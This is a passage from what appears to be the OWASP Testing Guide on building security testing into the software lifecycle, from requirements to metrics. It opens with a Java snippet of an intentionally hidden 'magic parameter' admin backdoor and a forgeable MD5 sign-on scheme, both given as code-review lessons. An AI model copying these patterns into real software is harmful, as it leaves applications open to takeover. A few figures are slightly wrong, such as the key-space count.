The designers of this application created an administrative backdoor during testing, but obfuscated it to prevent the casual observer from discovering it. By submitting the value sf8g7sfjdsurtsdieerwqredsgnfg8d (30 characters), the user will then be logged in and presented with an administrative screen with total control of the application. The HTTP request is now: ''<nowiki>http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d </nowiki>'' 

Given that all of the other parameters were simple two- and three-characters fields, it is not possible to start guessing combinations at approximately 28 characters. A web application scanner will need to brute force (or guess) the entire key space of 30 characters. That is up to 30^28 permutations, or trillions of HTTP requests. That is an electron in a digital haystack.

The code for this exemplar Magic Parameter check may look like the following: 
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
}
By looking in the code, the vulnerability practically leaps off the page as a potential problem.
 
'''Example 2: Bad Cryptography''' 
Cryptography is widely used in web applications. Imagine that a developer decided to write a simple cryptography algorithm to sign a user in from site A to site B automatically. In his/her wisdom, the developer decides that if a user is logged into site A, then he/she will generate a key using an MD5 hash function that comprises: ''Hash { username : date }'' 
When a user is passed to site B, he/she will send the key on the query string to site B in an HTTP re-direct. Site B independently computes the hash, and compares it to the hash passed on the request. If they match, site B signs the user in as the user they claim to be.

As the scheme is explained the inadequacies can be worked out. Anyone that figures out the scheme (or is told how it works, or downloads the information from Bugtraq) can log in as any user. Manual inspection, such as a review or code inspection, would have uncovered this security issue quickly. A black-box web application scanner would not have uncovered the vulnerability. It would have seen a 128-bit hash that changed with each user, and by the nature of hash functions, did not change in any predictable way.
 
'''A Note about Static Source Code Review Tools''' 
Many organizations have started to use static source code scanners. While they undoubtedly have a place in a comprehensive testing program, it is necessary to highlight some fundamental issues about why this approach is not effective when used alone. Static source code analysis alone cannot identify issues due to flaws in the design, since it cannot understand the context in which the code is constructed. Source code analysis tools are useful in determining security issues due to coding errors, however significant manual effort is required to validate the findings.
 

== Deriving Security Test Requirements ==
To have a successful testing program, one must know what the testing objectives are. These objectives are specified by the security requirements. This section discusses in detail how to document requirements for security testing by deriving them from applicable standards and regulations, and from positive and negative application requirements. It also discusses how security requirements effectively drive security testing during the SDLC and how security test data can be used to effectively manage software security risks.

'''Testing Objectives''' 
One of the objectives of security testing is to validate that security controls operate as expected. This is documented via ''security requirements'' that describe the functionality of the security control. At a high level, this means proving confidentiality, integrity, and availability of the data as well as the service. The other objective is to validate that security controls are implemented with few or no vulnerabilities. These are common vulnerabilities, such as the [[OWASP Top Ten]], as well as vulnerabilities that have been previously identified with security assessments during the SDLC, such as threat modelling, source code analysis, and penetration test.

'''Security Requirements Documentation''' 
The first step in the documentation of security requirements is to understand the ''business requirements''. A business requirement document can provide initial high-level information on the expected functionality of the application. For example, the main purpose of an application may be to provide financial services to customers or to allow goods to be purchased from an on-line catalog. A security section of the business requirements should highlight the need to protect the customer data as well as to comply with applicable security documentation such as regulations, standards, and policies.

A general checklist of the applicable regulations, standards, and policies is a good preliminary security compliance analysis for web applications. For example, compliance regulations can be identified by checking information about the business sector and the country or state where the application will operate. Some of these compliance guidelines and regulations might translate into specific technical requirements for security controls. For example, in the case of financial applications, the compliance with FFIEC guidelines for authentication [15] requires that financial institutions implement applications that mitigate weak authentication risks with multi-layered security control and multi-factor authentication.

Applicable industry standards for security need also to be captured by the general security requirement checklist. For example, in the case of applications that handle customer credit card data, the compliance with the PCI DSS [16] standard forbids the storage of PINs and CVV2 data and requires that the merchant protect magnetic strip data in storage and transmission with encryption and on display by masking. Such PCI DSS security requirements could be validated via source code analysis.

Another section of the checklist needs to enforce general requirements for compliance with the organization's information security standards and policies. From the functional requirements perspective, requirements for the security control need to map to a specific section of the information security standards. An example of such requirement can be: "a password complexity of six alphanumeric characters must be enforced by the authentication controls used by the application." When security requirements map to compliance rules a security test can validate the exposure of compliance risks. If violation with information security standards and policies are found, these will result in a risk that can be documented and that the business has to manage. Since these security compliance requirements are enforceable, they need to be well documented and validated with security tests.

'''Security Requirements Validation''' 
From the functionality perspective, the validation of security requirements is the main objective of security testing. From the risk management perspective, the validation of security requirements is the objective of information security assessments. At a high level, the main goal of information security assessments is the identification of gaps in security controls, such as lack of basic authentication, authorization, or encryption controls. More in depth, the security assessment objective is risk analysis, such as the identification of potential weaknesses in security controls that ensure the confidentiality, integrity, and availability of the data. For example, when the application deals with personal identifiable information (PII) and sensitive data, the security requirement to be validated is the compliance with the company information security policy requiring encryption of such data in transit and in storage. Assuming encryption is used to protect the data, encryption algorithms and key lengths need to comply with the organization encryption standards. These might require that only certain algorithms and key lengths could be used. For example, a security requirement that can be security tested is verifying that only allowed ciphers are used (e.g., SHA-256, RSA, AES) with allowed minimum key lengths (e.g., more than 128 bit for symmetric and more than 1024 for asymmetric encryption).

From the security assessment perspective, security requirements can be validated at different phases of the SDLC by using different artifacts and testing methodologies. For example, threat modeling focuses on identifying security flaws during design, secure code analysis and reviews focus on identifying security issues in source code during development, and penetration testing focuses on identifying vulnerabilities in the application during testing or validation.

Security issues that are identified early in the SDLC can be documented in a test plan so they can be validated later with security tests. By combining the results of different testing techniques, it is possible to derive better security test cases and increase the level of assurance of the security requirements. For example, distinguishing true vulnerabilities from the un-exploitable ones is possible when the results of penetration tests and source code analysis are combined. Considering the security test for a SQL injection vulnerability, for example, a black box test might first involve a scan of the application to fingerprint the vulnerability. The first evidence of a potential SQL injection vulnerability that can be validated is the generation of a SQL exception. A further validation of the SQL vulnerability might involve manually injecting attack vectors to modify the grammar of the SQL query for an information disclosure exploit. This might involve a lot of trial-and-error analysis until the malicious query is executed. Assuming the tester has the source code, she might learn from the source code analysis on how to construct the SQL attack vector that can exploit the vulnerability (e.g., execute a malicious query returning confidential data to unauthorized user).

'''Threats and Countermeasures Taxonomies''' 
A ''threat and countermeasure classification'', which takes into consideration root causes of vulnerabilities, is the critical factor in verifying that security controls are designed, coded, and built to mitigate the impact of the exposure of such vulnerabilities. In the case of web applications, the exposure of security controls to common vulnerabilities, such as the OWASP Top Ten, can be a good starting point to derive general security requirements. More specifically, the web application security frame [17] provides a classification (e.g. taxonomy) of vulnerabilities that can be documented in different guidelines and standards and validated with security tests.

The focus of a threat and countermeasure categorization is to define security requirements in terms of the threats and the root cause of the vulnerability. A threat can be categorized by using STRIDE [18] as Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. The root cause can be categorized as security flaw in design, a security bug in coding, or an issue due to insecure configuration. For example, the root cause of weak authentication vulnerability might be the lack of mutual authentication when data crosses a trust boundary between the client and server tiers of the application. A security requirement that captures the threat of non-repudiation during an architecture design review allows for the documentation of the requirement for the countermeasure (e.g., mutual authentication) that can be validated later on with security tests.

A threat and countermeasure categorization for vulnerabilities can also be used to document security requirements for secure coding such as secure coding standards. An example of a common coding error in authentication controls consists of applying an hash function to encrypt a password, without applying a seed to the value. From the secure coding perspective, this is a vulnerability that affects the encryption used for authentication with a vulnerability root cause in a coding error. Since the root cause is insecure coding the security requirement can be documented in secure coding standards and validated through secure code reviews during the development phase of the SDLC.

'''Security Testing and Risk Analysis''' 
Security requirements need to take into consideration the severity of the vulnerabilities to support a ''risk mitigation strategy''. Assuming that the organization maintains a repository of vulnerabilities found in applications (i.e, a vulnerability knowledge base), the security issues can be reported by type, issue, mitigation, root cause, and mapped to the applications where they are found. Such a vulnerability knowledge base can also be used to establish a metrics to analyze the effectiveness of the security tests throughout the SDLC.

For example, consider an input validation issue, such as a SQL injection, which was identified via source code analysis and reported with a coding error root cause and input validation vulnerability type. The exposure of such vulnerability can be assessed via a penetration test, by probing input fields with several SQL injection attack vectors. This test might validate that special characters are filtered before hitting the database and mitigate the vulnerability. By combining the results of source code analysis and penetration testing it is possible to determine the likelihood and exposure of the vulnerability and calculate the risk rating of the vulnerability. By reporting vulnerability risk ratings in the findings (e.g., test report) it is possible to decide on the mitigation strategy. For example, high and medium risk vulnerabilities can be prioritized for remediation, while low risk can be fixed in further releases.

By considering the threat scenarios of exploiting common vulnerabilities it is possible to identify potential risks that the application security control needs to be security tested for. For example, the OWASP Top Ten vulnerabilities can be mapped to attacks such as phishing, privacy violations, identify theft, system compromise, data alteration or data destruction, financial loss, and reputation loss. Such issues should be documented as part of the threat scenarios. By thinking in terms of threats and vulnerabilities, it is possible to devise a battery of tests that simulate such attack scenarios. Ideally, the organization vulnerability knowledge base can be used to derive security risk driven tests cases to validate the most likely attack scenarios. For example, if identity theft is considered high risk, negative test scenarios should validate the mitigation of impacts deriving from the exploit of vulnerabilities in authentication, cryptographic controls, input validation, and authorization controls.

=== Deriving Functional and Non Functional Test Requirements ===
'''Functional Security Requirements''' 
From the perspective of functional security requirements, the applicable standards, policies and regulations drive both the need for a type of security control as well as the control functionality. These requirements are also referred to as “positive requirements”, since they state the expected functionality that can be validated through security tests.
Examples of positive requirements are: “the application will lockout the user after six failed log on attempts” or “passwords need to be a minimum of six alphanumeric characters”. The validation of positive requirements consists of asserting the expected functionality and can be tested by re-creating the testing conditions and running the test according to predefined inputs. The results are then shown as as a fail or pass condition.

In order to validate security requirements with security tests, security requirements need to be function driven and they need to highlight the expected functionality (the what) and implicitly the implementation (the how). Examples of high-level security design requirements for authentication can be:
*Protect user credentials and shared secrets in transit and in storage
*Mask any confidential data in display (e.g., passwords, accounts)
*Lock the user account after a certain number of failed log in attempts
*Do not show specific validation errors to the user as a result of a failed log on
*Only allow passwords that are alphanumeric, include special characters and six characters minimum length, to limit the attack surface
*Allow for password change functionality only to authenticated users by validating the old password, the new password, and the user answer to the challenge question, to prevent brute forcing of a password via password change.
*The password reset form should validate the user’s username and the user’s registered email before sending the temporary password to the user via email. The temporary password issued should be a one time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user temporary password, the new password, as well as the user answer to the challenge question.

'''Risk Driven Security Requirements''' 
Security tests need also to be risk driven, that is they need to validate the application for unexpected behavior. These are also called “negative requirements”, since they specify what the application should not do.

Examples of negative requirements are:
* The application should not allow for the data to be altered or destroyed
* The application should not be compromised or misused for unauthorized financial transactions by a malicious user.

Negative requirements are more difficult to test, because there is no expected behavior to look for. This might require a threat analyst to come up with unforeseeable input conditions, causes, and effects. This is where security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios and the functionality of the countermeasure as a factor to mitigate a threat.

For example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasure perspective:
*Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks
*Encrypt passwords using non reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks
*Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks
*Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration
*Mutually authenticate client and server to prevent non-repudiation and Man In the Middle (MiTM) attacks

Threat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users' messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.

===Deriving Security Test Requirements Through Use and Misuse Cases===
A prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing ''use cases''. Use cases, in the graphical form as commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions and and post-conditions.

Similar to use cases, ''misuse and abuse cases'' [19] describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well-defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.

Misuse scenarios allow the analysis of the application from the attacker's point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which of them are the most critical ones and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.

To derive security requirements from use and misuse case [20] it is important to define the functional scenarios and the negative scenarios and put these in graphical form. In the case of derivation of security requirements for authentication, for example, the following step-by-step methodology can be followed.

*Step 1: Describe the Functional Scenario: User authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.

*Step 2: Describe the Negative Scenario: Attacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker to guess which accounts are actually valid registered accounts (usernames). Then the attacker will try to brute force the password for such a valid account. A brute force attack to four minimum length all digit passwords can succeed with a limited number of attempts (i.e., 10^4).

*Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case: The graphical example in Figure below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (enteringa username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.
[[Image:UseAndMisuseCase.jpg|640px]]

*Step 4: Elicit The Security Requirements. In this case, the following security requirements for authentication are derived:
:1) Passwords need to be alphanumeric, lower and upper case and minimum of seven character length
:2) Accounts need to lockout after five unsuccessful log in attempt
:3) Log in error messages need to be generic
These security requirements need to be documented and tested.

==Security Tests Integrated in Development and Testing Workflows==
'''Security Testing in the Development Workflow''' 
Security testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components and built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.

The validation of source code before integration in application builds is usually the responsibility of the senior developer. Such senior developers are also the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master can look at the test results reported by the developers in the tool and grant approvals for checking in the code changes into the application build.

'''Security Testing in the Test Workflow''' 
After components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white box testing, such as source code analysis, and black box testing, such as penetration testing. Gray box testing is similar to Black box testing. In a gray box testing it is assumed that the tester has some partial knowledge about the session management of the application, and that should help in understanding whether the log out and timeout functions are properly secured.

The target for the security tests is the complete system that will be potentially attacked and includes both the whole source code and the executable. One peculiarity of security testing during this phase is that it is possible for security testers to determine whether vulnerabilities can be exploited and expose the application to real risks. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.

Usually testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Such testing engineers have security knowledge of web application vulnerabilities, black box and white box security testing techniques, and own the validation of security requirements in this phase. In order to perform such security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.

A testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).

Since these tests are the last resort for fixing vulnerabilities before the application is released to production, it is important that such issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are acknowledged and accepted.

===Developers' Security Tests===
'''Security Testing in the Coding Phase: Unit Tests''' 
From the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers' own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.

The security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Secure code reviews and source code analysis through source code analysis tools help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.

A good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:
* Identity, Authentication & Access Control
* Input Validation & Encoding
* Encryption
* User and Session Management
* Error and Exception Handling
* Auditing and Logging

Developers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as Junit, Nunit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.

The threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).

At the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.

Unit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked into the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.

Threat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.

Source code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example software artifacts cannot be checked into the build with high or medium severity coding issues.

===Functional Testers' Security Tests===
'''Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests''' 
The main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.

The integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).

Real attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.

Including security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result organizations are often required to security-train their software developers on ethical hacking techniques, security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat list or check-list”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.

The first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input and by checking if SQL exceptions are thrown back the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.

A more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example, source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.

The next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance tests environment (UAT) is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled and web root directory not cleaned from test and administration web pages.

==Security Test Data Analysis and Reporting==
'''Goals for Security Test Metrics and Measurements''' 
Defining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement such as the total number of vulnerabilities found with security tests might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing. For example, reducing the number of vulnerabilities to an acceptable number (minimum) before the application is deployed into production.

Another manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer number of vulnerabilities) when compared with the baseline.

In traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required to fix, and the cost to implement the fix.

A characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).

When evaluating the security posture of an application it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. One measure of application size is the number of lines of code (LOC) of the application. Typically, software quality defects range from about 7 to 10 defects per thousand lines of new and changed code [21]. Since testing can reduce the overall number by about 25% with one test alone, it is logical for larger size applications to be tested more often than smaller size applications.

When security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC that they are found, rather then fixing them later in another phase.

Security test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:
*Reducing the overall number of vulnerabilities by 30%
*Fixing security issues by a certain deadline (e.g., before beta release)

Security test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.

Security test data can also support specific objectives of the security analysis. These objects could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.

When security test data is reported it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced as well the effectiveness of the process.

Some examples of clues supported by security test data can be:
*Are vulnerabilities reduced to an acceptable level for release?
*How does the security quality of this product compare with similar software products?
*Are all security test requirements being met?
*What are the major root causes of security issues?
*How numerous are security flaws compared to security bugs?
*Which security activity is most effective in finding vulnerabilities?
*Which team is more productive in fixing security defects and vulnerabilities?
*Which percentage of overall vulnerabilities are high risk?
*Which tools are most effective in detecting security vulnerabilities?
*Which kind of security tests are most effective in finding vulnerabilities (e.g., white box vs. black box) tests?
*How many security issues are found during secure code reviews?
*How many security issues are found during secure design reviews?

In order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common known vulnerabilities targeting different artifacts.

The issue is that the unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good. Some studies [22] have demonstrated that, at best, tools can only find 45% of overall vulnerabilities.

Even the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automation tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources as well as security test training.

'''Reporting Requirements''' 
The security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.

Vulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the Forum of Incident Response and Security Teams (FIRST) Common Vulnerability Scoring System (CVSS), which is currently in release version 2 with version 3 due for release shortly.

When reporting security test data the best practice is to include the following information:
*The categorization of each vulnerability by type
*The security threat that the issue is exposed to
*The root cause of security issues (e.g., security bugs, security flaw)
*The testing technique used to find the issue
*The remediation of the vulnerability (e.g., the countermeasure)
*The severity rating of the vulnerability (High, Medium, Low and/or CVSS score)

By describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.

Reporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of a white box testing, for example, the software security root cause of the vulnerability will be the offending source code.

Once issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black box technique (penetration test), the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).

The information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.

Finally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.

'''Business Cases''' 
For the security test metrics to be useful, they need to provide value back to the organization's security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has in terms of role and responsibility.

Software developers look at security test data to show that software is coded more securely and efficiently. This allows them to make the case for using source code analysis tools as well as following secure coding standards and attending software security training.

Project managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates and are getting better during tests.

Security test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.

To compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.

Finally, Chief Information Officers (CIOs) and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost benefit analysis from security test data. This allows them to make informed decisions on which security activities and tools to invest. One of the metrics that supports such analysis is the Return On Investment (ROI) in Security [23]. To derive such metrics from security test data, it is important to quantify the differential between the risk due to the exposure of vulnerabilities and the effectiveness of the security tests in mitigating the security risk, and factor this gap with the cost of the security testing activity or the testing tools adopted.

== References ==
[1] T. DeMarco, ''Controlling Software Projects: Management, Measurement and Estimation'', Yourdon Press, 1982

[2] S. Payne, ''A Guide to Security Metrics'' - http://www.sans.org/reading_room/whitepapers/auditing/55.php

[3] NIST, ''The economic impacts of inadequate infrastructure for software testing'' - http://www.nist.gov/director/planning/upload/report02-3.pdf

[4] Ross Anderson, ''Economics and Security Resource Page'' - http://www.cl.cam.ac.uk/~rja14/econsec.html

[5] Denis Verdon, ''Teaching Developers To Fish'' - [[OWASP AppSec NYC 2004]]

[6] Bruce Schneier, ''Cryptogram Issue #9'' - https://www.schneier.com/crypto-gram-0009.html

[7] Symantec, ''Threat Reports'' - http://www.symantec.com/security_response/publications/threatreport.jsp

[8] FTC, ''The Gramm-Leach Bliley Act'' - http://business.ftc.gov/privacy-and-security/gramm-leach-bliley-act

[9] Senator Peace and Assembly Member Simitian, ''SB 1386''- http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html

[10] European Union, ''Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data'' -
http://ec.europa.eu/justice/policies/privacy/docs/95-46-ce/dir1995-46_part1_en.pdf

[11] NIST, '' Risk management guide for information technology systems'' - http://csrc.nist.gov/publications/nistpubs/800-30-rev1/sp800_30_r1.pdf

[12] SEI, Carnegie Mellon, ''Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE)'' - http://www.cert.org/octave/

[13] Ken Thompson, ''Reflections on Trusting Trust, Reprinted from Communication of the ACM '' - http://cm.bell-labs.com/who/ken/trust.html'' [[Category:FIXME|link not working]]

